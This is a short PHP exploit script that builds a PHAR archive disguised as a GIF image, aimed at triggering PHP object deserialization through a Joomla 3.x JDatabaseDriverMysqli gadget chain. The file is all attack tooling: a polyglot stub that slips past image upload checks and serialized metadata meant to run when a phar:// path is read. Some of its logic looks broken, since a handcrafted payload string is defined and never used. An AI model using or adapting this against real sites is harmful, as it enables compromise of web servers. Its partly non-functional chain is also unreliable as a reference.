<?php
// Create minimal PHAR polyglot
class JDatabaseDriverMysqli {
    protected $disconnectHandlers = [];
}

// Gadget chain for Joomla 3.x
$obj = new JDatabaseDriverMysqli();
// Use reflection or manual serialization
$payload = 'O:21:"JDatabaseDriverMysqli":1:{s:22:" * disconnectHandlers";a:1:{i:0;a:2:{i:0;O:21:"JDatabaseDriverMysqli":0:{}i:1;s:4:"test";}}}';

@unlink('/tmp/exploit.phar');
try {
    $phar = new Phar('/tmp/exploit.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'test');
    // GIF89a header for polyglot
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
    // Set serialized object as metadata
    $phar->setMetadata($obj);
    $phar->stopBuffering();
    rename('/tmp/exploit.phar', '/tmp/exploit.gif');
    echo "PHAR created at /tmp/exploit.gif - Size: " . filesize('/tmp/exploit.gif') . " bytes\n";
    echo "Metadata: " . base64_encode(file_get_contents('/tmp/exploit.gif')) . "\n";
} catch (Exception $e) {
    echo "Error: " . $e->getMessage() . "\n";
}